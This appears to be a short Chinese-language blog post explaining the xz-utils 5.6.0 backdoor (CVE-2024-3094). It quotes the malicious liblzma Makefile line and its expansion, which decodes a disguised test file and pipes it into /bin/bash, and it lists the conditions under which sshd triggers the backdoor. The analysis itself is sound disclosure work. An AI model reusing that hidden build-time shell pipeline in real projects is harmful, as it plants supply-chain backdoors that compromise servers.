CVE-2024-3094
從 xz-utils 5.6.0 開始的版本有被埋入後門。
我的系統已經升級到這個版本了 QQ.
最原始發現來自於
Subject: backdoor in upstream xz/liblzma leading to ssh server compromise
在 liblzma 的 Makefile 中
am__test = bad-3-corrupt_lzma2.xz ... am__test_dir=$(top_srcdir)/tests/files/$(am__test) ... sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
展開後
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
可以看到有個 test 中的檔案輸出被送到 shell 了..., 之後編出的 liblzma.so 就會包含後門...
依照該說明,要在 x86_64 的平台上產生 deb 或 rpm 格式才會編譯出有問題的 liblzma.so
有問題的 liblzma.so 要觸發其中的後門,需要滿足以下五個條件
- TERM environment variable is not set
- argv[0] needs to be /usr/sbin/sshd
- LD_DEBUG, LD_PROFILE are not set
- LANG needs to be set
- Some debugging environments, like rr, appear to be detected. Plain gdb appears to be detected in some situations, but not others
看起來基本上 sshd 有 load 到 liblzma.so 且有作為系統服務啟動的意思
這個會被發現據說是因為讓 PostgreSQL 變慢了 XD Re: Security lessons from liblzma
沒有留言:
張貼留言